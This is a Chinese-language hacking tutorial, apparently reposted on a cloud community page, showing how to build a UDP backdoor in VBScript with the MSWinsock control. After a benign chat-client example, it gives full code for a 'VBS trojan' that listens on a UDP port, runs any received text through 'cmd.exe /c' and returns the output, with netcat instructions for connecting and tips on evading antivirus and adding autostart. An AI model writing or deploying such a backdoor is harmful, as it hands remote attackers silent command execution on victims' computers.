VBS+MSWinsock打造靈巧UDP後門的相關資料

來源:互聯網
上載者:User

大概在一年前,VBS指令碼病毒又揭起一陣熱潮,一大群VBS病毒在互連網上盛行。那時的VBS病毒幾乎都是用FSO、MAPI作為一個病毒傳染引擎,所以我就想,VBS可否訪問網路呢?如果它也能進行連接埠的串連,那就神奇了。從此之後,我就努力去找有關VBS的網路類的資料,可惜找了好久,什麼收穫也沒有,直到一個月前高考結束了,我才可以靜下來搞這個東西,並終於有了一點進展。
現在分析一下VBS的運作原理吧。VBS的全稱是“Visual Basic Scripts”,由於VBS是由Visual Basic分離出來的一種物件導向的指令碼語言,所以它的文法與Visual Basic差不多,而且也是靠Object來實現它的其它進階功能。只不過是VBS是用Wscript.exe或Cscript.exe來解釋的,因此它不需要編譯,直接運行就行了,所以這也是VBS指令碼做駭客工具方面的特長之一:普通殺毒軟體不會對VBS感興趣。因為VBS是一種物件導向的指令碼語言,所以微軟的很多ActiveX組件都可以通過“CreateObject(“ObjectName”)”來建立引用,這可能是微軟公司的程式介面吧!也許用過VB編寫網路程式的朋友也知道,用VB寫網路程式大致有兩種:一是調用Windows的API函數,二是用VB內建的Winsock控制項,也就是在Windows系統目錄中見到的“MSWinsock.ocx”。由於前者的API函數比較複雜,很多朋友比較喜歡用VB內建的Winsock控制項,不知道大家有沒有留意到那個Winsock控制項,其實它就是我前面講的ActiveX組件,它提供了訪問TCP和UDP網路服務的方便途徑,為編寫客戶或伺服器應用程式,不必瞭解TCP的細節或調用低級的Winsock APIs。通過設定控制項的屬性並調用其方法就可輕易串連到一台遠程機器上去,並且還可雙向交換資料。既然找到了訪問網路的引擎,那如何來用呢?用法又是不和VB中那樣用呢?
Winsock控制項用法大體上是同VB上的一樣,但在VBS中,ActiveX控制項並不是像VB中那樣是可以見到的,要在VBS上引用它當然是先建立它的對象。建立方法就像建立FSO等對像。建立一個文字檔,在裡面寫入:
--------------------------------------------------
Set Sock=CreateObject("MSWinsock.Winsock")
Sock.AboutBox
--------------------------------------------------
儲存為*.vbs運行它,就可以看到註冊在你系統中的WinSock控制項的有關資訊。
怎能麼樣?開心吧,別急,我下面會詳細講講。既然對象建立成功了,當然是要像VB中那樣用它了。在VBS中建立的WinScok不能像VB中那樣圖形介面那樣設定參數就行,是應該一步一個腳印來設定好你所創的是什麼協議。在WinSock控制項中要設定的協議是通過“Protocol”來設定的,如sock.Protocol=0 或 sock.Protocol=1。注意當“Protocol”的值為“0”時,所建立的協議是TCP;值為“1”時,則建立的是UDP。
我先介紹一下有關WinSock控制項引用的基本方法和事件吧:
LocalHostName //取得本地主機名稱
LocalIP //取得本地主機IP
SocketHandle //取得建立SOCK的控制代碼
RemotePort //設定或取得遠程連接埠
LocalPort //設定或取得本地連接埠
State //返回建立sock的對像狀態(代嗎如下){
0 預設的。關閉
1 開啟
2 偵聽
3 串連掛起
4 識別主機
5 已識別主機
6 正在串連
7 已串連
8 同級人員正在關閉串連
9 錯誤 }
BytesReceived //返回接收到的(當前在接收端緩衝區內的)資料的數量
Connect(RemoteHost,RemotePort) //建立遠端連線,RemoteHost遠程主機IP,RemotePort遠程主機連接埠
Listen //使SOCK偵聽
SendData/GetData //發送或接收資料
Close //關閉對像
Bind(LocalPort, LocalIP)//綁定本地連接埠。
那些基本的東西我講完了,下面我測試一下遠程主機會話吧(UDP),下面是一個VBS檔案,大家可以試試,代碼如下(檔案sock-udp.vbs):
----------------------------------------
dim revdata
dim sendata
//建立Winsock對像
set sock=createobject("MSWinsock.Winsock")
//使用UDP協議
//建立串連
sock.Protocol=1sock.Connect "127.0.0.1",1234
//定義要發送的資料
sendata="Hello!!!"&chr(13)
//發送我們要發的資料
sock.senddata sendata
do
//如果有資料回應就顯示它
if sock.BytesReceived>0 then
//定義接收資料類型(資料類型有vbByte、vbInteger、vbLong、vbSingle
//vbDouble、vbCurrency、vbDate、vbBoolean、vbError、vbString、vbArray+vbByte)
//也只有定義好要接收的資料類型才能收到資料,不然會收到的是一堆亂碼;
sock.getdata revdata,vbString;
sendata=inputbox (revdata,"RecviedData","請輸入你要發的資訊")
sock.senddata senddata & chr(13)
//當收到含有"exit"字串時結束VBS進程
if instr(revdata,"exit") then exit do
else
end if
loop
//關閉對像套接
sock.close
------------------------------------------
然後用“nc -u -l -p 1234”監聽本地UDP連接埠1234,再運行剛編寫的VBS檔案,看!我的NC有反應了。
裡面的“MicroSoft (r) Windows Based Script Host”就是我們的VBS主進程了。在NC裡我們還可以發資訊、聊天,怎麼樣?一個簡單的UDP C/S已經完成了。下面我再寫一個關於它的利用吧,既然它能訪問網路,當然是用它的做個VBS木馬啦!老編們不會反對吧!哈哈,Let's Go!
--------------------------
Dim revdata
set sock=createobject("MSWinsock.Winsock")
set sc=createobject("WScript.Shell")
Set fso =CreateObject("Scripting.FileSystemObject")

sock.Protocol=1 //這個當然是UDP協議的標識啦
sock.bind 1234 //綁定本地的UDP連接埠

Do
if sock.BytesReceived>0 then
sock.getdata revdata,vbString
if instr(revdata,"exit")>0 then
exit do
else
on error resume next
tempfile="C:\" & fso.GetTempName
'cmd=right(revdata,len(revdata)-4)
cmd=left(revdata,len(revdata)-3)
//利用綁定cmd的輸出
call sc.Run ("cmd.exe /c " & cmd & " > " & tempfile,0,True)
Set txf = fso.OpenTextFile(tempfile,1,false,0)
//把輸出的檔案讀入記憶體,用SendData發送到用戶端
sock.senddata txf.readall & vbcrlf & vbcrlf
txf.close
call fso.DeleteFile(TempFile,True)
end if
//嘻嘻,下面是我的著作權喔
sock.senddata "--End--" & vbcrlf & "ForHelp exit:end|run:<RunFileName>" & vbcrlf & "Maked by Attrib Data:2004.7.28" & vbcrlf & vbcrlf
end if
Loop
sock.senddata "串連已關閉!" & vbcrlf
sock.close
sock=nothings
-------------------
到此,代碼的基本架構已經完成了,要想做一個全能的木馬可以在代碼裡加上諸如開機自動運行等。由於VBS程式沒有設定出錯保護,可能一些錯誤的操作會出現程蹦潰,有興趣的朋友可以自己試試。用法是先把這個VBS後門運行在服務端,之後就用你的NC連,因為用的是UDP協議,NC的命令列是“NC –u IP Port”,記得要加上那個“-u”參數啊,之後就像WinShell一樣用就行了,下面是在我的機器裡測試的。

至於TCP如何編寫,道理也跟UDP差不多,我這裡就不再多寫了,大家可以自己研究下。
如果有什麼好的方法還可以和我一同研究。謝謝觀賞。

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.